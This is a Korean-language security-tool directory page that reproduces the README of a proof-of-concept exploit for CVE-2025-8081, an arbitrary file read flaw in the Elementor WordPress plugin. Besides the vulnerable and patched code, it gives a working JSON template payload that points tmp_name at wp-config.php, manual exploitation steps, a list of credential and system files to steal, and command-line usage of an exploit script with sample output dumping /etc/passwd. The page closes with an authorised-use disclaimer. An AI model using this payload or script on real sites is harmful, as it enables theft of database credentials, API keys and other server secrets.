Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2025-8081-Elementor — CVE-2025-8081에 대한 개념 증명 익스플로잇으로, Elementor WordPress 플러그인의 임의 파일 읽기 취약점으로 인증된 관리자가 wp-config.php와 같은 민감한 파일을 읽을 수 있습니다. | Kitploit
도구/GitHubGitHub/lyesh4ck/cve-2025-8081-elementor
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & Education
GitHublyesh4ck/cve-2025-8081-elementor

CVE-2025-8081-Elementor

CVE-2025-8081에 대한 개념 증명 익스플로잇으로, Elementor WordPress 플러그인의 임의 파일 읽기 취약점으로 인증된 관리자가 wp-config.php와 같은 민감한 파일을 읽을 수 있습니다.

저장소 보기
10개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2025-8081 - Elementor 임의 파일 읽기 취약점

Severity CVSS WordPress Elementor

웹 서버가 접근할 수 있는 모든 파일(데이터베이스 자격 증명이 포함된 민감한 설정 파일 포함)을 읽을 수 있도록 허용하는 Elementor WordPress 플러그인의 심각한 임의 파일 읽기 취약점입니다.


📋 취약점 개요

CVE 정보

속성값
CVE IDCVE-2025-8081
유형임의 파일 읽기 (CWE-22: 경로 탐색)
CVSS 점수4.9 (중간) - 실제 영향: 치명적
CVSS 벡터AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N
영향받는 버전Elementor ≤ 3.30.2
수정된 버전Elementor ≥ 3.30.3
공개일2025년 7월 22일
발표일2025년 10월 15일

공격 요구 사항

  • ✅ WordPress 관리자 계정
  • ✅ Elementor 플러그인 설치 및 활성화
  • ✅ 템플릿 가져오기 기능 접근 권한
  • ✅ 이미지 Elementor 위젯 활성화

영향

  • 🔴 임의 파일 읽기: 웹 서버 사용자(www-data)가 접근할 수 있는 모든 파일 읽기 가능
  • 🔴 자격 증명 탈취: wp-config.php 접근으로 데이터베이스 자격 증명 및 보안 키 노출
  • 🔴 데이터베이스 손상: 탈취한 자격 증명을 사용한 WordPress 데이터베이스 전체 접근

🎯 취약점 세부 정보

위치

취약점은 단일 파일의 단일 라인에 존재합니다:

root@kitploit:~
elementor/includes/template-library/classes/class-import-images.php
115번째 줄 (v3.28.3)

취약한 코드 (v3.28.3)

root@kitploit:~
if ( isset( $attachment['tmp_name'] ) ) {
    // 직접 업로드된 파일을 가져올 때 호출됩니다.
    $filename = $attachment['name'];
    $file_content = Utils::file_get_contents( $attachment['tmp_name'] );  // ❌ 검증 없음!
}

문제: tmp_name 매개변수가 is_uploaded_file()로 검증되지 않아, 공격자가 임의의 파일 경로를 지정할 수 있습니다.

패치된 코드 (v3.30.3)

root@kitploit:~
if ( isset( $attachment['tmp_name'] ) ) {
    // 직접 업로드된 파일을 가져올 때 호출됩니다.
    $filename = $attachment['name'];
    $file_content = false;
    // tmp_name이 변조된 경우를 대비한 보안 검증
    if ( is_uploaded_file( $attachment['tmp_name'] ) ) {  // ✅ 검증 추가됨!
        $file_content = Utils::file_get_contents( $attachment['tmp_name'] );
    }
}

수정: 패치는 is_uploaded_file() 검증을 추가하여 tmp_name이 합법적인 HTTP POST 업로드 파일을 참조하는지 확인합니다.


💣 개념 증명

JSON 페이로드

root@kitploit:~
{
  "content": [{
    "id": "s1",
    "elType": "section",
    "settings": [],
    "elements": [{
      "id": "c1",
      "elType": "column",
      "settings": {"_column_size": 100},
      "elements": [{
        "id": "w1",
        "elType": "widget",
        "widgetType": "image",
        "settings": {
          "image": {
            "url": "http://x.com/x.jpg",
            "id": 1,
            "tmp_name": "/var/www/html/wp-config.php",
            "name": "leaked_config.txt"
          }
        },
        "elements": []
      }]
    }]
  }],
  "version": "0.4",
  "type": "page"
}

수동 악용 절차

  1. WordPress에 관리자로 로그인
  2. Elementor → 내 템플릿 → 템플릿 가져오기로 이동
  3. 위의 JSON 페이로드 업로드 (payload.json으로 저장)
  4. 지금 가져오기 클릭
  5. 미디어 → 라이브러리로 이동
  6. leaked_config.txt 찾아 다운로드

결과: 데이터베이스 자격 증명이 포함된 wp-config.php 내용 노출!


📊 탈취할 가치가 있는 파일

중요 파일

파일설명영향
/var/www/html/wp-config.phpWordPress 설정🔴 치명적 - DB 자격 증명
/proc/self/environ환경 변수🔴 치명적 - API 키, 비밀값

고가치 파일

파일설명영향
/etc/passwd시스템 사용자🟠 높음 - 사용자 열거
/var/www/html/.htaccess웹 서버 설정🟠 높음 - 설정 노출
/var/log/apache2/access.logApache 로그🟡 중간 - 정보 노출

🛠️ 자동화된 악용

빠른 시작

root@kitploit:~
python3 exploit.py -t https://target.com -u admin -p password123

명령줄 옵션

root@kitploit:~
필수 인자:
  -t, --target URL        대상 WordPress URL (예: https://target.com)
  -u, --user USERNAME     WordPress 관리자 사용자 이름
  -p, --password PASS     WordPress 관리자 비밀번호

선택 인자:
  -f, --file PATH         읽을 파일 (기본값: /var/www/html/wp-config.php)
  -o, --output FILE       출력 파일 이름 (기본값: 자동 생성)
  --insecure, -k          SSL 인증서 검증 비활성화
  -v, --verbose           디버깅을 위한 상세 출력 활성화
  -h, --help              도움말 메시지 표시

사용 예시

root@kitploit:~
# 기본 악용 (기본 페이로드로 wp-config.php 읽기)
python3 exploit.py -t http://target.com -u admin -p password123

# 사용자 지정 대상 파일
python3 exploit.py -t http://target.com -u admin -p password123 -f /etc/passwd

# HTTPS 및 자체 서명 인증서 사용
python3 exploit.py -t https://target.com -u admin -p password123 --insecure

# 사용자 지정 출력과 상세 모드
python3 exploit.py -t http://target.com -u admin -p password123 \
  -f /etc/passwd -o users.txt -v

# OrbStack/Docker에서 호스트 머신 대상
python3 exploit.py -t http://host.internal:8080 -u admin -p password123 -v

예상 출력

root@kitploit:~
Kali:~$ python3 exploit.py  -t http://host.internal:8080 -u admin -p admin123 -f /etc/passwd

======================================================================
 CVE-2025-8081 - Elementor 임의 파일 읽기
======================================================================
대상: http://host.internal:8080
파일:   /etc/passwd
======================================================================

[INFO] WordPress 인증 시도 중...
[SUCCESS] ✓ 인증 성공!
[INFO] AJAX nonce 가져오는 중...
[INFO] 페이로드 로드 중: payload.json
[INFO] 악성 템플릿 업로드 중...
[SUCCESS] ✓ 템플릿 업로드 성공!
[INFO] 유출된 파일 검색 중: leaked_passwd.txt
[SUCCESS] ✓ 파일 발견: http://host.internal:8080/wp-content/uploads/2025/10/leaked_passwd.txt
[INFO] 파일 다운로드 중...
[SUCCESS] ✓ 839바이트 다운로드 완료

======================================================================
 악용 성공!
======================================================================
파일 URL:  http://host.internal:8080/wp-content/uploads/2025/10/leaked_passwd.txt
파일 크기: 839바이트
저장 위치:  leaked_passwd.txt

--- 파일 내용 (처음 500자) ---
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin
--- 끝 ---
======================================================================

⚖️ 법적 고지

교육 및 승인된 테스트 전용

이 도구는 보안 연구 및 침투 테스트 목적으로만 제공됩니다. 사전 상호 동의 없이 대상을 공격하는 데 이 도구를 사용하는 것은 불법입니다.

모든 관련 지방, 주 및 연방 법률을 준수하는 것은 최종 사용자의 책임입니다.

  • ✅ 소유하거나 명시적 서면 허가를 받은 시스템에서만 사용
  • ✅ 책임 있는 공개 관행
  • ✅ 교육 및 연구 목적
  • ❌ 무단 접근은 불법이며 법적 처벌을 받을 수 있습니다
  • ❌ 작성자는 오용에 대해 어떠한 책임도 지지 않습니다

이 도구를 사용함으로써 합법적이고 윤리적으로 사용하는 데 동의하는 것입니다.


마지막 업데이트: 2025년 10월 17일

도구 다운로드